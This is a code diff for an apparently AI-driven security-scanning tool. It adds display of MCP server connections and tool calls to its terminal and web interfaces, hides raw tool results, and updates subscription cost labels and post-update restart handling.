func mcpConnectionEntries(result any) []mcpListEntry {
|
||||
resultMap, _ := result.(map[string]any)
|
||||
connections, _ := resultMap["connections"].([]any)
|
||||
var entries []mcpListEntry
|
||||
for _, raw := range connections {
|
||||
entry, ok := raw.(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
if name := strings.TrimSpace(StringValue(entry["name"])); name != "" {
|
||||
dead, _ := entry["dead"].(bool)
|
||||
entries = append(entries, mcpListEntry{name: name, dead: dead})
|
||||
}
|
||||
}
|
||||
return entries
|
||||
}
|
||||
@@ -22,19 +22,20 @@ func statusIcon(status string) (string, lipgloss.Style) {
|
||||
return "○ Unknown", Dim()
|
||||
}
|
||||
|
||||
// renderGenericTool ports registry._render_default_tool_widget.
|
||||
func renderGenericTool(name string, args map[string]any, result any, status string) string {
|
||||
// renderGenericTool ports registry._render_default_tool_widget. It shows the
|
||||
// tool name, its arguments, and a status line only. The raw result is
|
||||
// deliberately not rendered: a generic result (e.g. a multi-kilobyte JSON
|
||||
// payload from a database query tool) is noise on screen, and the agent narrates
|
||||
// what it got in its next message. The full result still lives in the event
|
||||
// data, the run log, and the `strix view` viewer.
|
||||
func renderGenericTool(name string, args map[string]any, status string) string {
|
||||
var b strings.Builder
|
||||
b.WriteString(Dim().Render("→ Using tool ") + Bold(Blue).Render(name) + "\n")
|
||||
for _, k := range SortedKeys(args) {
|
||||
b.WriteString(" " + Dim().Render(k) + ": " + StringValue(args[k]) + "\n")
|
||||
}
|
||||
if (status == "completed" || status == "failed" || status == "error") && result != nil {
|
||||
b.WriteString(lipgloss.NewStyle().Bold(true).Render("Result: ") + StringValue(result))
|
||||
} else {
|
||||
icon, style := statusIcon(status)
|
||||
b.WriteString(style.Render(icon))
|
||||
}
|
||||
icon, style := statusIcon(status)
|
||||
b.WriteString(style.Render(icon))
|
||||
return b.String()
|
||||
}
|
||||
|
||||
@@ -51,7 +52,28 @@ func Tool(data map[string]any) string {
|
||||
}
|
||||
result := data["result"]
|
||||
|
||||
// A call to a tool from one of the user's MCP servers is tagged with the
|
||||
// connection it came from, because its name is the server's own and means
|
||||
// nothing here. The tag is only ever set from the connections the run made,
|
||||
// so it is the one thing that can tell such a call apart from a built-in.
|
||||
if connection := StringValue(data["mcp_connection"]); connection != "" {
|
||||
// describe_mcp inspects a connection's catalog rather than calling a tool
|
||||
// on it, so there is no underlying tool and the connection is the subject.
|
||||
if name == "describe_mcp" {
|
||||
return renderMcpInspect(connection, status)
|
||||
}
|
||||
toolName := StringValue(data["mcp_tool"])
|
||||
if toolName == "" {
|
||||
toolName = name
|
||||
}
|
||||
return renderMcpTool(connection, toolName, args, status)
|
||||
}
|
||||
|
||||
switch name {
|
||||
// list_mcps inventories every connection rather than touching one, so it is
|
||||
// the one MCP tool with no connection tag and routes by name like a built-in.
|
||||
case "list_mcps":
|
||||
return renderMcpList(result, status)
|
||||
case "exec_command":
|
||||
return renderExecCommand(args, result, status)
|
||||
case "write_stdin":
|
||||
@@ -91,7 +113,7 @@ func Tool(data map[string]any) string {
|
||||
case "list_requests", "view_request", "repeat_request", "list_sitemap", "view_sitemap_entry", "scope_rules":
|
||||
return renderProxyTool(name, args, result, status)
|
||||
}
|
||||
return renderGenericTool(name, args, result, status)
|
||||
return renderGenericTool(name, args, status)
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
@@ -203,7 +203,7 @@ func TestToolDispatchCoversKnownTools(t *testing.T) {
|
||||
{
|
||||
"unknown tool falls back to generic",
|
||||
tool("brand_new_tool", map[string]any{"alpha": "1"}, "done", "completed"),
|
||||
[]string{"brand_new_tool", "alpha", "Result:", "done"},
|
||||
[]string{"brand_new_tool", "alpha", "Done"},
|
||||
},
|
||||
}
|
||||
|
||||
@@ -214,6 +214,78 @@ func TestToolDispatchCoversKnownTools(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestGenericToolOmitsRawResult(t *testing.T) {
|
||||
// The generic renderer shows tool name, args, and a status line only, never
|
||||
// the raw result payload.
|
||||
long := strings.Repeat("x", 5000)
|
||||
out := ansi.Strip(Tool(tool("db_query", map[string]any{"query": "select 1"}, long, "completed")))
|
||||
|
||||
requireContains(t, out, "db_query", "query", "Done")
|
||||
if strings.Contains(out, "Result:") || strings.Contains(out, strings.Repeat("x", 20)) {
|
||||
t.Fatalf("generic result body must not be rendered:\n%s", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMcpToolLeadsWithActionAndNamesTheServer(t *testing.T) {
|
||||
// call_mcp is the dispatch tool; the connection and the server's own tool
|
||||
// name are tagged onto the event from its arguments.
|
||||
data := tool("call_mcp", map[string]any{"path": "/etc/hosts"}, "file body", "completed")
|
||||
data["mcp_connection"] = "local_fs"
|
||||
data["mcp_tool"] = "read_file"
|
||||
|
||||
out := ansi.Strip(Tool(data))
|
||||
|
||||
// The action leads; the server is context that trails it.
|
||||
if !strings.HasPrefix(out, mcpIcon+"read_file") {
|
||||
t.Fatalf("MCP render must lead with the tool's own name:\n%s", out)
|
||||
}
|
||||
requireContains(t, out, "local_fs", "path", "/etc/hosts", "Done")
|
||||
// Untrusted server output stays off the terminal, as for the generic render.
|
||||
if strings.Contains(out, "file body") {
|
||||
t.Fatalf("MCP result body must not be rendered:\n%s", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMcpToolWithoutTaggedToolFallsBackToDispatchName(t *testing.T) {
|
||||
// A call_mcp whose underlying tool could not be read still renders as an MCP
|
||||
// row, falling back to the dispatch tool name.
|
||||
data := tool("call_mcp", nil, nil, "running")
|
||||
data["mcp_connection"] = "local_fs"
|
||||
|
||||
requireContains(t, ansi.Strip(Tool(data)), mcpIcon+"call_mcp", "local_fs", "In progress")
|
||||
}
|
||||
|
||||
func TestMcpDescribeInspectsConnection(t *testing.T) {
|
||||
// describe_mcp inspects a connection; the connection is the subject and the
|
||||
// dispatch tool name is not shown as if it were a server tool.
|
||||
data := tool("describe_mcp", nil, nil, "completed")
|
||||
data["mcp_connection"] = "local_fs"
|
||||
|
||||
out := ansi.Strip(Tool(data))
|
||||
requireContains(t, out, mcpIcon, "Inspecting MCP server", "local_fs", "Done")
|
||||
if strings.Contains(out, "describe_mcp") {
|
||||
t.Fatalf("describe_mcp must read as inspecting the connection, not name the dispatch tool:\n%s", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMcpListMarksDeadConnectionsOffline(t *testing.T) {
|
||||
// list_mcps carries a per-connection dead flag; a dead connection reads as
|
||||
// offline in the inventory while a live one shows normally.
|
||||
result := map[string]any{
|
||||
"connections": []any{
|
||||
map[string]any{"name": "supabase", "tool_count": float64(3), "dead": false},
|
||||
map[string]any{"name": "vercel", "tool_count": float64(1), "dead": true},
|
||||
},
|
||||
}
|
||||
data := tool("list_mcps", nil, result, "completed")
|
||||
|
||||
out := ansi.Strip(Tool(data))
|
||||
requireContains(t, out, "Listing MCP servers", "supabase", "vercel", "offline")
|
||||
if strings.Count(out, "offline") != 1 {
|
||||
t.Fatalf("only the dead connection should read offline:\n%s", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCollapseToolShellPreviewAndExpand(t *testing.T) {
|
||||
lines := make([]string, 16)
|
||||
for i := range lines {
|
||||
|
||||
@@ -56,9 +56,6 @@ func renderThreatModel(name string, args map[string]any, result any) string {
|
||||
threatModelBody(&b, StringValue(args["addendum"]))
|
||||
default:
|
||||
b.WriteString("\n " + Col(Green).Render("✓ saved"))
|
||||
if revision := shortRevision(StringValue(m["revision"])); revision != "" {
|
||||
b.WriteString(Dim().Render(" at " + revision))
|
||||
}
|
||||
// Saving folds amendments away, so the count that vanished is worth
|
||||
// stating: it is the one destructive thing this tool does.
|
||||
if cleared, ok := NumericValue(m["amendments_cleared"]); ok && cleared > 0 {
|
||||
@@ -72,15 +69,9 @@ func renderThreatModel(name string, args map[string]any, result any) string {
|
||||
|
||||
func threatModelReadBody(b *strings.Builder, result map[string]any) {
|
||||
if !truthy(result["found"]) {
|
||||
b.WriteString("\n " + Dim().Render("No model cached for this target yet"))
|
||||
b.WriteString("\n " + Dim().Render("No model derived for this target yet"))
|
||||
return
|
||||
}
|
||||
if truthy(result["stale"]) {
|
||||
b.WriteString("\n " + Col(AmberY).Render("⚠ stale"))
|
||||
if cached := shortRevision(StringValue(result["cached_revision"])); cached != "" {
|
||||
b.WriteString(Dim().Render(" (written at " + cached + ")"))
|
||||
}
|
||||
}
|
||||
if amendments, ok := result["amendments"].([]any); ok && len(amendments) > 0 {
|
||||
b.WriteString("\n " + Col(Gold).Render("+ "+strconv.Itoa(len(amendments))+
|
||||
" amendment(s)") + Dim().Render(" — later statements win"))
|
||||
@@ -126,13 +117,3 @@ func threatModelBody(b *strings.Builder, content string) {
|
||||
b.WriteString("\n " + Dim().Render(strings.Join(headings, " · ")))
|
||||
}
|
||||
}
|
||||
|
||||
// shortRevision abbreviates a git sha; "unversioned" targets have no revision
|
||||
// worth showing.
|
||||
func shortRevision(revision string) string {
|
||||
revision = strings.TrimSpace(revision)
|
||||
if revision == "" || revision == "unversioned" {
|
||||
return ""
|
||||
}
|
||||
return firstN(revision, 8)
|
||||
}
|
||||
|
||||
@@ -14,6 +14,7 @@ from agents.tool import ToolOutputImage
|
||||
|
||||
from strix.core.paths import runtime_state_dir
|
||||
from strix.interface.tui.history import load_session_history
|
||||
from strix.tools.mcp import resolve_mcp_call
|
||||
|
||||
|
||||
class TuiLiveView:
|
||||
@@ -27,6 +28,23 @@ class TuiLiveView:
|
||||
self._user_instruction_at: str | None = None
|
||||
self._user_instruction_shown = False
|
||||
|
||||
def _mcp_tool_fields(self, tool_name: str, args: dict[str, Any]) -> dict[str, str]:
|
||||
"""Event fields naming the MCP server a tool call went out to, if any.
|
||||
|
||||
Delegates to the shared engine resolver :func:`resolve_mcp_call` so a
|
||||
dispatch call is attributed the same way here and in strix-pro's tracer.
|
||||
The projection has no live registry, so it passes none: it reports the
|
||||
connection and tool read from the call's arguments and leaves the provider
|
||||
out. Empty for every other tool, which is what tells an interface to
|
||||
render the call as one of its own rather than as a call to a user's
|
||||
server. ``describe_mcp`` resolves with an empty tool, which tells both
|
||||
renderers to present the row as inspecting the connection itself.
|
||||
"""
|
||||
info = resolve_mcp_call(tool_name, args)
|
||||
if info is None:
|
||||
return {}
|
||||
return {"mcp_connection": info.connection, "mcp_tool": info.tool}
|
||||
|
||||
def set_user_instruction(self, text: str | None, *, timestamp: str | None = None) -> None:
|
||||
"""Open the transcript with what the user asked for.
|
||||
|
||||
@@ -73,7 +91,7 @@ class TuiLiveView:
|
||||
def hydrate_from_run_dir(self, run_dir: Path) -> None:
|
||||
# Armed before the agents are added so the root agent's arrival puts the
|
||||
# user's opening message ahead of the replayed history.
|
||||
self._load_user_instruction(run_dir)
|
||||
self._load_run_record(run_dir)
|
||||
state_dir = runtime_state_dir(run_dir)
|
||||
agents_path = state_dir / "agents.json"
|
||||
if not agents_path.exists():
|
||||
@@ -85,6 +103,7 @@ class TuiLiveView:
|
||||
statuses = agents_data.get("statuses") or {}
|
||||
names = agents_data.get("names") or {}
|
||||
parent_of = agents_data.get("parent_of") or {}
|
||||
errors = agents_data.get("errors") or {}
|
||||
if not isinstance(statuses, dict):
|
||||
return
|
||||
for agent_id, status in statuses.items():
|
||||
@@ -95,13 +114,14 @@ class TuiLiveView:
|
||||
name=names.get(agent_id, agent_id) if isinstance(names, dict) else agent_id,
|
||||
parent_id=parent_of.get(agent_id) if isinstance(parent_of, dict) else None,
|
||||
status=str(status),
|
||||
error_message=errors.get(agent_id) if isinstance(errors, dict) else None,
|
||||
)
|
||||
# Ahead of the replayed history, so it opens the transcript.
|
||||
self.flush_user_instruction()
|
||||
self._hydrate_sdk_session_history(run_dir, statuses.keys())
|
||||
|
||||
def _load_user_instruction(self, run_dir: Path) -> None:
|
||||
"""Take the user's opening message from the run record, if it has one."""
|
||||
def _load_run_record(self, run_dir: Path) -> None:
|
||||
"""Take the user's opening message off the record."""
|
||||
try:
|
||||
record = json.loads((run_dir / "run.json").read_text(encoding="utf-8"))
|
||||
except (OSError, json.JSONDecodeError):
|
||||
@@ -318,6 +338,7 @@ class TuiLiveView:
|
||||
"status": "running",
|
||||
"agent_id": agent_id,
|
||||
"call_id": call_id,
|
||||
**self._mcp_tool_fields(call["tool_name"], call["args"]),
|
||||
}
|
||||
if existing is None:
|
||||
event = self._append_event(agent_id, "tool", tool_data, timestamp=timestamp)
|
||||
@@ -340,6 +361,10 @@ class TuiLiveView:
|
||||
event_key = (agent_id, call_id)
|
||||
event = self._tool_event_by_agent_and_call_id.get(event_key)
|
||||
if event is None:
|
||||
# No prior call event to update, so its arguments are gone and the
|
||||
# connection an MCP call went out to cannot be recovered. The matching
|
||||
# call event, when there is one, already carries the MCP fields; this
|
||||
# arrives only when the call was never projected, so it stays generic.
|
||||
event = self._append_event(
|
||||
agent_id,
|
||||
"tool",
|
||||
|
||||
@@ -185,6 +185,7 @@ class GoTuiRuntime:
|
||||
max_turns=self.args.max_turns,
|
||||
max_budget_usd=self.args.max_budget_usd,
|
||||
event_sink=self.capture_event,
|
||||
mcp_status_sink=self.capture_mcp_status,
|
||||
)
|
||||
await self._sync_agent_state()
|
||||
if self.controller.scan_state == "running":
|
||||
@@ -210,6 +211,15 @@ class GoTuiRuntime:
|
||||
self.live_view.ingest_sdk_event(agent_id, event)
|
||||
self.controller.notify_changed()
|
||||
|
||||
def capture_mcp_status(self, roster: list[dict[str, Any]]) -> None:
|
||||
"""Receive the engine's MCP connection roster and hand it to the controller.
|
||||
|
||||
Runs on the scan's event loop (called from the runner at establishment
|
||||
and from a session's on-dead callback), the same loop that drives
|
||||
``capture_event``, so updating the controller and repainting here is
|
||||
safe. The controller renders it as the sidebar MCP connections panel."""
|
||||
self.controller.set_mcp_connections(roster)
|
||||
|
||||
async def _sync_agent_state(self) -> bool:
|
||||
parent_of, statuses, names, errors = await self.coordinator.graph_snapshot()
|
||||
changed = False
|
||||
@@ -248,6 +258,9 @@ class GoTuiRuntime:
|
||||
scan_state = "failed"
|
||||
if root_id is not None and errors.get(root_id):
|
||||
self.controller.error = errors[root_id]
|
||||
elif scan_state == "failed" and root_status in {"running", "waiting", "budget_paused"}:
|
||||
scan_state = "running"
|
||||
self.controller.error = None
|
||||
elif scan_state != "failed":
|
||||
if report_status == "completed":
|
||||
scan_state = "completed"
|
||||
|
||||
@@ -264,6 +264,36 @@ def prompt_update_if_available(console: Console) -> bool:
|
||||
return run_package_upgrade(console, method)
|
||||
|
||||
|
||||
def restart_env() -> dict[str, str]:
|
||||
"""Environment for re-exec'ing the binary after a self-update.
|
||||
|
||||
The PyInstaller bootloader marks its child process via environment
|
||||
variables (``_MEIPASS2`` on older versions, ``_PYI_*`` on 6.x) that
|
||||
point at the already-extracted archive of the *running* version. If
|
||||
they leak into the re-exec'd process, the new binary skips extraction
|
||||
and runs the old code, so the update never appears to take effect.
|
||||
Library-path variables the bootloader overrode are restored from the
|
||||
``*_ORIG`` copies it saved.
|
||||
"""
|
||||
env = {
|
||||
key: value
|
||||
for key, value in os.environ.items()
|
||||
if key != "_MEIPASS2" and not key.startswith("_PYI_")
|
||||
}
|
||||
for var in ("LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "DYLD_FRAMEWORK_PATH"):
|
||||
orig = env.pop(f"{var}_ORIG", None)
|
||||
if orig is not None:
|
||||
env[var] = orig
|
||||
elif var in os.environ:
|
||||
env.pop(var, None)
|
||||
return env
|
||||
|
||||
|
||||
def restart_after_update() -> None:
|
||||
"""Replace the current process with the freshly updated binary."""
|
||||
os.execve(sys.executable, sys.argv, restart_env()) # noqa: S606 # nosec B606
|
||||
|
||||
|
||||
def _release_target() -> str | None:
|
||||
raw_os = platform.system().lower()
|
||||
os_name = {"darwin": "macos", "linux": "linux", "windows": "windows"}.get(raw_os)
|
||||
|
||||
@@ -281,9 +281,27 @@ def is_subscription_run(report_state: Any) -> bool:
|
||||
record = getattr(report_state, "run_record", None)
|
||||
if isinstance(record, dict) and record.get("auth_mode"):
|
||||
return record.get("auth_mode") == "subscription"
|
||||
from strix.config import codex
|
||||
from strix.config import opencode
|
||||
|
||||
return codex.auth_mode(load_settings().llm.model) == "subscription"
|
||||
return opencode.auth_mode(load_settings().llm.model) == "subscription"
|
||||
|
||||
|
||||
def subscription_label() -> str:
|
||||
"""Display name of the subscription behind the configured model."""
|
||||
from strix.config import opencode
|
||||
|
||||
oc = opencode.subscription_model(load_settings().llm.model)
|
||||
if oc:
|
||||
return oc.label
|
||||
return "ChatGPT subscription"
|
||||
|
||||
|
||||
def subscription_is_metered() -> bool:
|
||||
"""Whether the run spends per-request credits rather than a flat plan."""
|
||||
from strix.config import opencode
|
||||
|
||||
oc = opencode.subscription_model(load_settings().llm.model)
|
||||
return oc is not None and oc.metered
|
||||
|
||||
|
||||
def _int_stat(usage: dict[str, Any], key: str) -> int:
|
||||
@@ -326,7 +344,9 @@ def _build_llm_usage_stats(
|
||||
if not usage or _int_stat(usage, "requests") <= 0:
|
||||
stats_text.append("\n")
|
||||
stats_text.append("Cost ", style="dim")
|
||||
if subscription:
|
||||
if subscription and subscription_is_metered():
|
||||
stats_text.append("credits ", style="#22c55e")
|
||||
elif subscription:
|
||||
stats_text.append("$0.00 ", style="#22c55e")
|
||||
stats_text.append("(subscription) ", style="dim")
|
||||
else:
|
||||
@@ -355,7 +375,19 @@ def _build_llm_usage_stats(
|
||||
stats_text.append("Output Tokens ", style="dim")
|
||||
stats_text.append(format_token_count(output_tokens), style="white")
|
||||
|
||||
if subscription:
|
||||
if subscription and subscription_is_metered():
|
||||
# Zen spends prepaid credits per request, so a run is not free. Its
|
||||
# Anthropic route runs through LiteLLM and yields a real charge; the
|
||||
# OpenAI-SDK routes report none, and an unpriced run says so rather
|
||||
# than claiming $0.00.
|
||||
stats_text.append(" · ", style="dim white")
|
||||
stats_text.append("Cost ", style="dim")
|
||||
if cost > 0:
|
||||
stats_text.append(f"${cost:.4f}", style="#22c55e")
|
||||
stats_text.append(" (credits)", style="dim")
|
||||
else:
|
||||
stats_text.append("credits", style="#22c55e")
|
||||
elif subscription:
|
||||
stats_text.append(" · ", style="dim white")
|
||||
stats_text.append("Cost ", style="dim")
|
||||
stats_text.append("$0.00", style="#22c55e")
|
||||
@@ -387,7 +419,7 @@ def build_live_stats_text(report_state: Any) -> Text:
|
||||
stats_text.append(str(model), style="white")
|
||||
if is_subscription_run(report_state):
|
||||
stats_text.append(" · ", style="dim white")
|
||||
stats_text.append("ChatGPT subscription", style="#22c55e")
|
||||
stats_text.append(subscription_label(), style="#22c55e")
|
||||
stats_text.append("\n")
|
||||
|
||||
vuln_count = len(report_state.vulnerability_reports)
|
||||
@@ -433,7 +465,7 @@ def build_tui_stats_text(report_state: Any) -> Text:
|
||||
subscription = is_subscription_run(report_state)
|
||||
if subscription:
|
||||
stats_text.append("\n")
|
||||
stats_text.append("ChatGPT subscription", style="#22c55e")
|
||||
stats_text.append(subscription_label(), style="#22c55e")
|
||||
|
||||
usage = _llm_usage(report_state)
|
||||
if usage and _int_stat(usage, "total_tokens") > 0:
|
||||
|
||||
@@ -30,6 +30,7 @@ import {
|
||||
fetchTranscript,
|
||||
fetchVulnerabilities,
|
||||
forgetAuth,
|
||||
parseMcpConnectionStatus,
|
||||
type AuthStatus,
|
||||
type LoadedRun,
|
||||
type RunsPayload,
|
||||
@@ -169,6 +170,27 @@ export default function App() {
|
||||
const agentCount = run?.transcript.agents.length ?? 0;
|
||||
const verified = auth?.verified === true;
|
||||
|
||||
// The run's persisted MCP roster (from run.json via /api/run), plus the set of
|
||||
// connections with a tool call currently in flight. "In use" is derived here
|
||||
// from the connection-tagged tool events rather than carried on the roster:
|
||||
// an MCP dispatch event carries its connection name and a status that moves
|
||||
// running -> completed, so a connection is in use while one of its events is
|
||||
// still running. This mirrors the terminal UI's MCP panel exactly.
|
||||
const mcpConnections = useMemo(
|
||||
() => (run ? parseMcpConnectionStatus(run.raw) : []),
|
||||
[run]
|
||||
);
|
||||
const mcpInUse = useMemo(() => {
|
||||
const inUse = new Set<string>();
|
||||
for (const event of run?.transcript.events ?? []) {
|
||||
if (event.type !== "tool") continue;
|
||||
const connection = event.data?.mcp_connection;
|
||||
if (typeof connection !== "string" || !connection) continue;
|
||||
if (event.data?.status === "running") inUse.add(connection);
|
||||
}
|
||||
return inUse;
|
||||
}, [run]);
|
||||
|
||||
// Per-run guard for the default view: land on Agents while a scan is live,
|
||||
// Overview once it finishes. Applied at most once per run and never once the
|
||||
// user has navigated manually (userSetView flips the guard).
|
||||
@@ -251,6 +273,8 @@ export default function App() {
|
||||
}}
|
||||
issuesCount={run?.vulnerabilities.length ?? 0}
|
||||
agentCount={agentCount}
|
||||
mcpConnections={mcpConnections}
|
||||
mcpInUse={mcpInUse}
|
||||
runCount={runs?.count ?? 0}
|
||||
finished={run?.finished ?? false}
|
||||
verified={verified}
|
||||
|
||||
@@ -101,6 +101,23 @@ export function RunDetails({
|
||||
const totalTokens = num(usage.total_tokens);
|
||||
const cost = num(usage.cost);
|
||||
const subscription = str(raw.auth_mode) === "subscription";
|
||||
const subscriptionProvider =
|
||||
str(raw.subscription_provider) ??
|
||||
(models.some((m) => m.toLowerCase().startsWith("opencode")) ? "opencode" : "chatgpt");
|
||||
// Runs recorded before subscription_plan existed still carry the model string,
|
||||
// whose prefix names the plan.
|
||||
const subscriptionPlan =
|
||||
str(raw.subscription_plan) ??
|
||||
(models.some((m) => m.toLowerCase().startsWith("opencode-go/")) ? "go" : "zen");
|
||||
const subscriptionLabel =
|
||||
subscriptionProvider === "opencode"
|
||||
? subscriptionPlan === "go"
|
||||
? "OpenCode Go"
|
||||
: "OpenCode Zen"
|
||||
: "ChatGPT subscription";
|
||||
// Zen bills prepaid credits per request, so its runs are not free and there is
|
||||
// no price table to estimate them from. Go is a flat monthly plan.
|
||||
const metered = subscriptionProvider === "opencode" && subscriptionPlan === "zen";
|
||||
|
||||
const sub = (n: number, word: string) => (
|
||||
<span className="text-[#666]"> ({formatNumber(n)} {word})</span>
|
||||
@@ -180,7 +197,7 @@ export function RunDetails({
|
||||
<Field label="Provider">
|
||||
<span className="inline-flex items-center gap-1.5">
|
||||
<span className="rounded-full border border-[#22c55e]/40 bg-[#22c55e]/10 px-2 py-0.5 text-[11px] text-[#22c55e]">
|
||||
ChatGPT subscription
|
||||
{subscriptionLabel}
|
||||
</span>
|
||||
</span>
|
||||
</Field>
|
||||
@@ -200,7 +217,21 @@ export function RunDetails({
|
||||
</Field>
|
||||
)}
|
||||
{totalTokens != null && <Field label="Total tokens">{formatNumber(totalTokens)}</Field>}
|
||||
{subscription ? (
|
||||
{subscription && metered ? (
|
||||
<Field label="Cost">
|
||||
{cost != null && cost > 0 ? (
|
||||
<>
|
||||
<span className="text-[#22c55e]">${cost.toFixed(2)}</span>
|
||||
<span className="text-[#666]"> (Zen credits)</span>
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<span className="text-[#22c55e]">credits</span>
|
||||
<span className="text-[#666]"> (not priced locally)</span>
|
||||
</>
|
||||
)}
|
||||
</Field>
|
||||
) : subscription ? (
|
||||
<Field label="Cost">
|
||||
<span className="text-[#22c55e]">$0.00</span>
|
||||
<span className="text-[#666]"> (subscription)</span>
|
||||
|
||||
@@ -14,6 +14,7 @@ import { IoChatbubblesOutline } from "react-icons/io5";
|
||||
import { cn } from "@/lib/utils";
|
||||
import { ctaUrl, trackCta } from "@/lib/cta";
|
||||
import { UpgradeModal } from "@/components/UpgradeModal";
|
||||
import type { McpConnectionStatus } from "@/data/serverSource";
|
||||
import type { View } from "@/App";
|
||||
|
||||
/**
|
||||
@@ -37,6 +38,8 @@ interface SidebarProps {
|
||||
onSelectView: (view: View) => void;
|
||||
issuesCount: number;
|
||||
agentCount: number;
|
||||
mcpConnections: McpConnectionStatus[];
|
||||
mcpInUse: Set<string>;
|
||||
runCount: number;
|
||||
finished: boolean;
|
||||
verified: boolean;
|
||||
@@ -61,6 +64,8 @@ export default function Sidebar({
|
||||
onSelectView,
|
||||
issuesCount,
|
||||
agentCount,
|
||||
mcpConnections,
|
||||
mcpInUse,
|
||||
runCount,
|
||||
finished,
|
||||
verified,
|
||||
@@ -246,6 +251,9 @@ export default function Sidebar({
|
||||
onClick={() => onSelectView("agents")}
|
||||
/>
|
||||
)}
|
||||
{mcpConnections.length > 0 && (
|
||||
<McpConnectionsPanel connections={mcpConnections} inUse={mcpInUse} />
|
||||
)}
|
||||
<NavItem
|
||||
icon={<History className="h-4 w-4" />}
|
||||
label="Past runs"
|
||||
@@ -421,6 +429,84 @@ function NavItem({ icon, label, active, onClick, count }: NavItemProps) {
|
||||
);
|
||||
}
|
||||
|
||||
// The quarter-circle sweep frames the terminal UI cycles for an in-use
|
||||
// connection, and the sub-second tick that advances them.
|
||||
const SWEEP_FRAMES = ["◐", "◓", "◑", "◒"] as const;
|
||||
const SWEEP_MS = 220;
|
||||
|
||||
/**
|
||||
* The MCP connections panel: a compact roster of the run's connected MCP
|
||||
* servers, matching the terminal UI's sidebar panel. A header carries the
|
||||
* total count; each row shows a status glyph, the connection name, and its
|
||||
* tool count (or "offline"):
|
||||
* - solid green dot: attached and idle;
|
||||
* - green cycling quarter-circle (◐◓◑◒): a tool call is running against it;
|
||||
* - red dot + "offline": the connection's live session has died.
|
||||
*
|
||||
* "In use" is derived by the caller from the connection-tagged tool events, not
|
||||
* carried on the roster, so a call in flight shows motion with no extra signal.
|
||||
* The roster scrolls within a bounded height so a long list never blows out the
|
||||
* rail, mirroring how the nav above it scrolls.
|
||||
*/
|
||||
function McpConnectionsPanel({
|
||||
connections,
|
||||
inUse,
|
||||
}: {
|
||||
connections: McpConnectionStatus[];
|
||||
inUse: Set<string>;
|
||||
}) {
|
||||
const anyInUse = connections.some((c) => !c.dead && inUse.has(c.name));
|
||||
const [frame, setFrame] = useState(0);
|
||||
|
||||
// Advance the sweep only while at least one connection is in use, so an idle
|
||||
// panel does no work.
|
||||
useEffect(() => {
|
||||
if (!anyInUse) return;
|
||||
const id = setInterval(() => setFrame((f) => (f + 1) % SWEEP_FRAMES.length), SWEEP_MS);
|
||||
return () => clearInterval(id);
|
||||
}, [anyInUse]);
|
||||
|
||||
return (
|
||||
<div className="mt-1">
|
||||
<div className="flex h-7 items-center px-2 text-[11px] font-medium text-[#666]">
|
||||
MCP Connections ({connections.length})
|
||||
</div>
|
||||
<div className="max-h-48 overflow-y-auto overflow-x-clip scrollbar-thin">
|
||||
{connections.map((conn) => {
|
||||
const busy = !conn.dead && inUse.has(conn.name);
|
||||
return (
|
||||
<div
|
||||
key={conn.name}
|
||||
className="flex h-7 items-center gap-2 rounded-md px-2"
|
||||
title={conn.provider ? `${conn.name} · ${conn.provider}` : conn.name}
|
||||
>
|
||||
<span
|
||||
className={cn(
|
||||
"w-3 flex-none text-center text-[11px] leading-none",
|
||||
conn.dead ? "text-red-400" : "text-emerald-400"
|
||||
)}
|
||||
aria-hidden="true"
|
||||
>
|
||||
{conn.dead ? "●" : busy ? SWEEP_FRAMES[frame] : "●"}
|
||||
</span>
|
||||
<span className="min-w-0 flex-1 truncate text-[13px] font-medium text-[#ededed]">
|
||||
{conn.name}
|
||||
</span>
|
||||
{conn.dead ? (
|
||||
<span className="flex-none text-[11px] text-red-400">offline</span>
|
||||
) : (
|
||||
<span className="flex-none text-[11px] tabular-nums text-[#666]">
|
||||
{conn.toolCount} {conn.toolCount === 1 ? "tool" : "tools"}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
// Overview icon: a dashboard grid glyph (16x16 viewBox).
|
||||
function ProjectsIcon() {
|
||||
return (
|
||||
|
||||
@@ -30,7 +30,7 @@ class RendererErrorBoundary extends Component<
|
||||
}
|
||||
|
||||
function SafeToolRenderer(props: ToolRendererProps) {
|
||||
const Renderer = getToolRenderer(props.toolName);
|
||||
const Renderer = getToolRenderer(props.toolName, props.mcpConnection);
|
||||
return (
|
||||
<RendererErrorBoundary toolName={props.toolName}>
|
||||
<Renderer {...props} />
|
||||
@@ -63,6 +63,10 @@ function coerce(value: unknown): unknown {
|
||||
}
|
||||
}
|
||||
|
||||
function asOptionalString(value: unknown): string | null {
|
||||
return typeof value === "string" && value ? value : null;
|
||||
}
|
||||
|
||||
function asRecord(value: unknown): Record<string, unknown> {
|
||||
const c = coerce(value);
|
||||
if (c && typeof c === "object" && !Array.isArray(c)) return c as Record<string, unknown>;
|
||||
@@ -244,11 +248,14 @@ export function AgentTranscript({
|
||||
const isTool = event.type === "tool";
|
||||
const toolName = isTool ? String(event.data?.tool_name ?? "tool") : "";
|
||||
const role = !isTool ? String(event.data?.role ?? "assistant") : "";
|
||||
// Present only on a call to one of the user's own MCP servers.
|
||||
const mcpConnection = asOptionalString(event.data?.mcp_connection);
|
||||
const mcpTool = asOptionalString(event.data?.mcp_tool);
|
||||
|
||||
let Icon;
|
||||
let iconColor: string;
|
||||
if (isTool) {
|
||||
const meta = getToolIcon(toolName);
|
||||
const meta = getToolIcon(toolName, mcpConnection);
|
||||
Icon = meta.icon;
|
||||
iconColor = meta.color;
|
||||
} else {
|
||||
@@ -279,6 +286,8 @@ export function AgentTranscript({
|
||||
{isTool ? (
|
||||
<SafeToolRenderer
|
||||
toolName={toolName}
|
||||
mcpConnection={mcpConnection}
|
||||
mcpTool={mcpTool}
|
||||
args={asRecord(event.data?.args)}
|
||||
result={coerce(event.data?.result) ?? null}
|
||||
status={
|
||||
|
||||
@@ -0,0 +1,174 @@
|
||||
"use client";
|
||||
|
||||
import type { ToolRendererProps } from "@/types/events";
|
||||
|
||||
